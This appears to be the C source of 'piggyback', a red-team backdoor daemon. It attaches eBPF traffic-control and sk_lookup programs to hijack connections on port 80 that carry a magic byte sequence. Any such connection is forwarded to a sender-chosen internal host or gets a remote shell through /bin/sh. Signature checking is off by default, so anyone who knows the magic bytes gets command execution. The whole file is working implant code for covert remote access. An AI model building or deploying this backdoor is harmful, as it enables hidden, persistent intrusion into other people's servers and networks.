// piggyback.c — userspace daemon
//
// Loads TC eBPF + sk_lookup programs, accepts magic connections,
// dispatches to forward target or shell — all specified by the client packet.
// Daemon has no forward-target config; it comes from the signed header.
//
// Build: make     Run: sudo ./piggyback

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <time.h>
#include <inttypes.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <ifaddrs.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/epoll.h>
#include <pthread.h>
#include <net/if.h>

#include <bpf/libbpf.h>
#include <bpf/bpf.h>
#include <sodium.h>

// ── Engagement Configuration ──────────────────────────────────────────────────
// Edit these before compiling. Run `make keygen` to generate a keypair.

#define IFACE        ""    // "" = auto-detect default-route interface; or e.g. "eth0"
#define LISTEN_PORT  80    // must match PORTS in piggyback.bpf.c
#define VERBOSE      0     // 1 = debug logging

// Ed25519 auth. AUTH_ENABLED=0: accept any magic packet (no sig check).
// AUTH_ENABLED=1: require valid signed header. Run `make keygen`, set TRUSTED_PUBKEY.
#define AUTH_ENABLED 0
#define TRUSTED_PUBKEY { \
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00  \
}

// ── Shared constants (must match piggyback.bpf.c and pb-client.c) ─────────────

#define MAGIC           "\xDE\xAD\xC0\xDE\xCA\xFE"
#define MAGIC_LEN       6
#define HEADER_LEN      80   // 16 bytes fields + 64 bytes Ed25519 signature

// Header field offsets
#define HDR_TIMESTAMP_OFF    0
#define HDR_ACTION_OFF       8
#define HDR_TARGET_IP_OFF    9
#define HDR_TARGET_PORT_OFF  13
#define HDR_SIG_OFF          16
#define HDR_MSG_LEN          20   // 16 header bytes + 4 server IP bytes

#define ACTION_FORWARD  0x01
#define ACTION_SHELL    0x02

#define REPLAY_RING_SIZE   256
#define TIMESTAMP_WINDOW   60    // seconds

// ── Event struct (must match piggyback.bpf.c) ─────────────────────────────────

struct event {
    uint8_t  src_ip[16];
    uint16_t src_port;
    uint8_t  is_ipv6;
    uint8_t  flags;
    uint32_t seq;
    uint32_t ack_seq;
    uint8_t  header[HEADER_LEN];
    uint8_t  header_valid;
};

// ── Globals ───────────────────────────────────────────────────────────────────

static const uint8_t trusted_pubkey[] = TRUSTED_PUBKEY;
static uint8_t server_ip_bytes[4];

static volatile int       running   = 1;
static unsigned int       ifindex   = 0;
static char               iface_name[64];
static struct bpf_object *obj       = NULL;
static int                accept_fd = -1;

// ── Logging ───────────────────────────────────────────────────────────────────

#define log_info(fmt, ...) fprintf(stdout, "[+] " fmt "\n", ##__VA_ARGS__)
#define log_err(fmt, ...)  fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__)
#define log_dbg(fmt, ...)  do { if (VERBOSE) fprintf(stdout, "[.] " fmt "\n", ##__VA_ARGS__); } while(0)

// ── Interface helpers ─────────────────────────────────────────────────────────

static int get_default_iface(char *buf, size_t len) {
    FILE *f = fopen("/proc/net/route", "r");
    if (!f) return -1;
    char line[256];
    fgets(line, sizeof(line), f); // skip header
    while (fgets(line, sizeof(line), f)) {
        char iface[64]; unsigned int dest;
        if (sscanf(line, "%63s %x", iface, &dest) == 2 && dest == 0) {
            strncpy(buf, iface, len-1);
            fclose(f);
            return 0;
        }
    }
    fclose(f);
    return -1;
}

static int get_iface_ipv4(const char *iface, uint8_t *ip4) {
    struct ifaddrs *ifa_list, *ifa;
    if (getifaddrs(&ifa_list) != 0) return -1;
    for (ifa = ifa_list; ifa; ifa = ifa->ifa_next) {
        if (!ifa->ifa_addr || ifa->ifa_addr->sa_family != AF_INET) continue;
        if (strcmp(ifa->ifa_name, iface) != 0) continue;
        memcpy(ip4, &((struct sockaddr_in *)ifa->ifa_addr)->sin_addr, 4);
        freeifaddrs(ifa_list);
        return 0;
    }
    freeifaddrs(ifa_list);
    return -1;
}

// ── Replay ring ───────────────────────────────────────────────────────────────

struct replay_entry { uint32_t src_ip; uint64_t ts; uint8_t sig_prefix[8]; };
static struct replay_entry replay_ring[REPLAY_RING_SIZE];
static int    replay_head = 0;
static pthread_mutex_t replay_lock = PTHREAD_MUTEX_INITIALIZER;

static int replay_check_and_insert(uint32_t src_ip, uint64_t ts, const uint8_t *sig) {
    pthread_mutex_lock(&replay_lock);
    for (int i = 0; i < REPLAY_RING_SIZE; i++) {
        struct replay_entry *e = &replay_ring[i];
        if (e->src_ip == src_ip && e->ts == ts && memcmp(e->sig_prefix, sig, 8) == 0) {
            pthread_mutex_unlock(&replay_lock);
            return -1;
        }
    }
    struct replay_entry *s = &replay_ring[replay_head++ % REPLAY_RING_SIZE];
    s->src_ip = src_ip; s->ts = ts; memcpy(s->sig_prefix, sig, 8);
    pthread_mutex_unlock(&replay_lock);
    return 0;
}

// ── Splice loop ───────────────────────────────────────────────────────────────

static void splice_loop(int a, int b) {
    int epfd = epoll_create1(0);
    if (epfd < 0) return;
    struct epoll_event ev, evs[2];
    ev.events = EPOLLIN | EPOLLERR | EPOLLHUP;
    ev.data.fd = a; epoll_ctl(epfd, EPOLL_CTL_ADD, a, &ev);
    ev.data.fd = b; epoll_ctl(epfd, EPOLL_CTL_ADD, b, &ev);
    char buf[65536];
    while (running) {
        int n = epoll_wait(epfd, evs, 2, 1000);
        for (int i = 0; i < n; i++) {
            if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto done;
            int src = evs[i].data.fd, dst = (src == a) ? b : a;
            ssize_t r = read(src, buf, sizeof(buf));
            if (r <= 0) goto done;
            for (ssize_t w = 0; w < r;) { ssize_t s = write(dst, buf+w, r-w); if (s<=0) goto done; w+=s; }
        }
    }
done:
    close(epfd);
}

// ── Forward action ────────────────────────────────────────────────────────────

static void do_forward(int client_fd, const char *host, int port) {
    struct addrinfo hints = { .ai_family = AF_UNSPEC, .ai_socktype = SOCK_STREAM };
    struct addrinfo *res;
    char port_str[8];
    snprintf(port_str, sizeof(port_str), "%d", port);
    if (getaddrinfo(host, port_str, &hints, &res) != 0) {
        log_err("getaddrinfo(%s:%d) failed", host, port); return;
    }
    int fwd_fd = socket(res->ai_family, SOCK_STREAM, 0);
    if (fwd_fd < 0) { freeaddrinfo(res); return; }
    if (connect(fwd_fd, res->ai_addr, res->ai_addrlen) < 0) {
        log_err("connect %s:%d: %s", host, port, strerror(errno));
        close(fwd_fd); freeaddrinfo(res); return;
    }
    freeaddrinfo(res);
    log_dbg("forwarding to %s:%d", host, port);
    splice_loop(client_fd, fwd_fd);
    close(fwd_fd);
}

// ── Shell action ──────────────────────────────────────────────────────────────

static void do_shell(int client_fd, const char *cmd) {
    int in_pipe[2], out_pipe[2];
    if (pipe(in_pipe) < 0 || pipe(out_pipe) < 0) return;
    pid_t pid = fork();
    if (pid < 0) return;
    if (pid == 0) {
        close(in_pipe[1]); close(out_pipe[0]);
        dup2(in_pipe[0], STDIN_FILENO); dup2(out_pipe[1], STDOUT_FILENO); dup2(out_pipe[1], STDERR_FILENO);
        close(in_pipe[0]); close(out_pipe[1]);
        execl("/bin/sh", "/bin/sh", "-c", cmd, NULL);
        _exit(1);
    }
    close(in_pipe[0]); close(out_pipe[1]);
    fcntl(in_pipe[1], F_SETFL, O_NONBLOCK);
    fcntl(out_pipe[0], F_SETFL, O_NONBLOCK);
    fcntl(client_fd, F_SETFL, O_NONBLOCK);
    int epfd = epoll_create1(0);
    struct epoll_event ev, evs[2];
    ev.events = EPOLLIN | EPOLLERR | EPOLLHUP;
    ev.data.fd = client_fd;   epoll_ctl(epfd, EPOLL_CTL_ADD, client_fd,   &ev);
    ev.data.fd = out_pipe[0]; epoll_ctl(epfd, EPOLL_CTL_ADD, out_pipe[0], &ev);
    char buf[65536];
    while (running) {
        int n = epoll_wait(epfd, evs, 2, 1000);
        for (int i = 0; i < n; i++) {
            if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto done;
            if (evs[i].data.fd == out_pipe[0]) {
                ssize_t r = read(out_pipe[0], buf, sizeof(buf)); if (r<=0) goto done; write(client_fd, buf, r);
            } else {
                ssize_t r = read(client_fd, buf, sizeof(buf)); if (r<=0) goto done; write(in_pipe[1], buf, r);
            }
        }
    }
done:
    close(epfd); close(in_pipe[1]); close(out_pipe[0]);
}

// ── Dispatch thread ───────────────────────────────────────────────────────────

struct dispatch_args {
    int     client_fd;
    uint8_t header[HEADER_LEN];
    uint8_t header_valid;
};

static void *dispatch_thread(void *arg) {
    struct dispatch_args *a = arg;
    int      client_fd = a->client_fd;
    uint8_t *hdr       = a->header;

    if (!a->header_valid) {
        log_err("packet too short for header, rejecting");
        goto reject;
    }

    // ── Auth (skip when AUTH_ENABLED=0) ───────────────────────────────────────
    if (AUTH_ENABLED) {
        uint64_t ts = 0;
        for (int i = 0; i < 8; i++) ts = (ts << 8) | hdr[HDR_TIMESTAMP_OFF + i];
        uint64_t now = (uint64_t)time(NULL);
        if (ts > now + TIMESTAMP_WINDOW || ts < now - TIMESTAMP_WINDOW) {
            log_err("timestamp out of window, rejecting"); goto reject;
        }
        uint8_t msg[HDR_MSG_LEN];
        memcpy(msg, hdr, 16); memcpy(msg + 16, server_ip_bytes, 4);
        if (crypto_sign_ed25519_verify_detached(hdr + HDR_SIG_OFF, msg, HDR_MSG_LEN, trusted_pubkey) != 0) {
            log_err("invalid signature, rejecting"); goto reject;
        }
        uint32_t ip32; memcpy(&ip32, server_ip_bytes, 4);
        if (replay_check_and_insert(ip32, ts, hdr + HDR_SIG_OFF) != 0) {
            log_err("replay detected, rejecting"); goto reject;
        }
        log_dbg("auth OK");
    }

    // ── Dispatch — action and target always come from the header ──────────────
    {
        uint8_t action = hdr[HDR_ACTION_OFF];

        if (action == ACTION_FORWARD) {
            char fwd_host[32] = "127.0.0.1";
            int  fwd_port     = 22;
            uint8_t *ip = hdr + HDR_TARGET_IP_OFF;
            if (ip[0] || ip[1] || ip[2] || ip[3])
                snprintf(fwd_host, sizeof(fwd_host), "%d.%d.%d.%d", ip[0], ip[1], ip[2], ip[3]);
            int p = ((uint16_t)hdr[HDR_TARGET_PORT_OFF] << 8) | hdr[HDR_TARGET_PORT_OFF + 1];
            if (p) fwd_port = p;
            log_info("forward → %s:%d", fwd_host, fwd_port);
            do_forward(client_fd, fwd_host, fwd_port);

        } else if (action == ACTION_SHELL) {
            char cmd[1024] = "bash";
            ssize_t r = read(client_fd, cmd, sizeof(cmd)-1);
            if (r > 0) cmd[r] = '\0';
            log_info("shell: %s", cmd);
            do_shell(client_fd, cmd);

        } else {
            log_err("unknown action 0x%02x, rejecting", action);
        }
    }

    close(client_fd); free(a); return NULL;
reject:
    close(client_fd); free(a); return NULL;
}

// ── Ring buffer event handler ─────────────────────────────────────────────────

static int handle_event(void *ctx __attribute__((unused)), void *data, size_t sz __attribute__((unused))) {
    struct event *e = data;
    char src_str[INET6_ADDRSTRLEN];
    if (e->is_ipv6) inet_ntop(AF_INET6, e->src_ip, src_str, sizeof(src_str));
    else            inet_ntop(AF_INET,  e->src_ip, src_str, sizeof(src_str));
    log_info("magic from %s:%d (header_valid=%d)", src_str, ntohs(e->src_port), e->header_valid);

    struct sockaddr_storage peer; socklen_t plen = sizeof(peer);
    int client_fd = accept(accept_fd, (struct sockaddr *)&peer, &plen);
    if (client_fd < 0) { log_err("accept: %s", strerror(errno)); return 0; }

    struct dispatch_args *a = malloc(sizeof(*a));
    if (!a) { close(client_fd); return 0; }
    a->client_fd    = client_fd;
    a->header_valid = e->header_valid;
    memcpy(a->header, e->header, HEADER_LEN);

    pthread_t tid;
    pthread_create(&tid, NULL, dispatch_thread, a);
    pthread_detach(tid);
    return 0;
}

// ── TC / sk_lookup attachment ─────────────────────────────────────────────────

static int attach_tc(struct bpf_program *prog) {
    DECLARE_LIBBPF_OPTS(bpf_tc_hook, hook, .ifindex = ifindex, .attach_point = BPF_TC_INGRESS);
    DECLARE_LIBBPF_OPTS(bpf_tc_opts, opts, .handle = 1, .priority = 1, .prog_fd = bpf_program__fd(prog));
    bpf_tc_hook_create(&hook);
    if (bpf_tc_attach(&hook, &opts) < 0) { log_err("bpf_tc_attach: %s", strerror(errno)); return -1; }
    log_info("TC attached to %s ingress", iface_name);
    return 0;
}

static void detach_tc(void) {
    DECLARE_LIBBPF_OPTS(bpf_tc_hook, hook, .ifindex = ifindex, .attach_point = BPF_TC_INGRESS);
    bpf_tc_hook_destroy(&hook);
    log_info("TC detached");
}

static int attach_sklookup(struct bpf_program *prog) {
    int netns_fd = open("/proc/self/ns/net", O_RDONLY);
    if (netns_fd < 0) { log_err("open netns: %s", strerror(errno)); return -1; }
    struct bpf_link *link = bpf_program__attach_netns(prog, netns_fd);
    close(netns_fd);
    if (!link) { log_err("attach sk_lookup: %s", strerror(errno)); return -1; }
    log_info("sk_lookup attached to netns");
    return 0;
}

// ── Stats ─────────────────────────────────────────────────────────────────────

static void dump_stats(void) {
    int fd = bpf_object__find_map_fd_by_name(obj, "stats");
    if (fd < 0) return;
    uint64_t v; uint32_t k;
    k=0; bpf_map_lookup_elem(fd,&k,&v); log_info("  total   : %" PRIu64, v);
    k=1; bpf_map_lookup_elem(fd,&k,&v); log_info("  magic   : %" PRIu64, v);
    k=2; bpf_map_lookup_elem(fd,&k,&v); log_info("  passed  : %" PRIu64, v);
    k=3; bpf_map_lookup_elem(fd,&k,&v); log_info("  partial : %" PRIu64, v);
}

static void on_signal(int sig __attribute__((unused))) { running = 0; }

// ── Main ──────────────────────────────────────────────────────────────────────

int main(void) {
    if (sodium_init() < 0) { log_err("libsodium init failed"); return 1; }

    signal(SIGINT, on_signal); signal(SIGTERM, on_signal); signal(SIGPIPE, SIG_IGN);

    // Resolve interface
    if (strlen(IFACE) > 0) {
        strncpy(iface_name, IFACE, sizeof(iface_name)-1);
    } else {
        if (get_default_iface(iface_name, sizeof(iface_name)) != 0) {
            log_err("cannot detect default interface — set IFACE in source"); return 1;
        }
        log_info("auto-detected interface: %s", iface_name);
    }
    ifindex = if_nametoindex(iface_name);
    if (!ifindex) { log_err("interface '%s' not found", iface_name); return 1; }

    // Get own IP for replay-prevention signature coverage
    if (get_iface_ipv4(iface_name, server_ip_bytes) != 0) {
        log_dbg("could not get interface IP — replay sig will use zeros");
    } else {
        char ipstr[INET_ADDRSTRLEN];
        inet_ntop(AF_INET, server_ip_bytes, ipstr, sizeof(ipstr));
        log_dbg("server IP for sig: %s", ipstr);
    }

    if (AUTH_ENABLED) log_info("Ed25519 auth enabled");
    else              log_info("WARNING: AUTH_ENABLED=0 — no signature verification");

    // SO_REUSEPORT accept socket
    accept_fd = socket(AF_INET6, SOCK_STREAM, 0);
    if (accept_fd < 0) accept_fd = socket(AF_INET, SOCK_STREAM, 0);
    if (accept_fd < 0) { log_err("socket: %s", strerror(errno)); return 1; }
    int yes = 1;
    setsockopt(accept_fd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));
    setsockopt(accept_fd, SOL_SOCKET, SO_REUSEPORT, &yes, sizeof(yes));
    struct sockaddr_in6 laddr = { .sin6_family = AF_INET6, .sin6_port = htons(LISTEN_PORT), .sin6_addr = IN6ADDR_ANY_INIT };
    if (bind(accept_fd, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {
        struct sockaddr_in la4 = { .sin_family = AF_INET, .sin_port = htons(LISTEN_PORT), .sin_addr.s_addr = INADDR_ANY };
        if (bind(accept_fd, (struct sockaddr *)&la4, sizeof(la4)) < 0) {
            log_err("bind port %d: %s", LISTEN_PORT, strerror(errno)); return 1;
        }
    }
    if (listen(accept_fd, 64) < 0) { log_err("listen: %s", strerror(errno)); return 1; }

    // Load eBPF
    obj = bpf_object__open("piggyback.bpf.o");
    if (!obj) { log_err("bpf_object__open failed"); return 1; }
    if (bpf_object__load(obj)) { log_err("bpf_object__load failed"); return 1; }

    int sock_map_fd = bpf_object__find_map_fd_by_name(obj, "daemon_sock");
    if (sock_map_fd >= 0) {
        uint32_t key = 0, val = (uint32_t)accept_fd;
        bpf_map_update_elem(sock_map_fd, &key, &val, BPF_ANY);
    }

    struct bpf_program *tc_prog = bpf_object__find_program_by_name(obj, "piggyback_ingress");
    if (!tc_prog) { log_err("TC program not found"); return 1; }
    if (attach_tc(tc_prog) < 0) return 1;

    struct bpf_program *sk_prog = bpf_object__find_program_by_name(obj, "piggyback_lookup");
    if (sk_prog && attach_sklookup(sk_prog) < 0)
        log_info("sk_lookup attach failed — SYN steering disabled, falling back");

    int rb_fd = bpf_object__find_map_fd_by_name(obj, "events");
    struct ring_buffer *rb = ring_buffer__new(rb_fd, handle_event, NULL, NULL);
    if (!rb) { log_err("ring_buffer__new failed"); return 1; }

    log_info("running on %s port %d", iface_name, LISTEN_PORT);

    while (running) ring_buffer__poll(rb, 100);

    log_info("shutting down...");
    dump_stats();
    detach_tc();
    ring_buffer__free(rb);
    bpf_object__close(obj);
    close(accept_fd);
    return 0;
}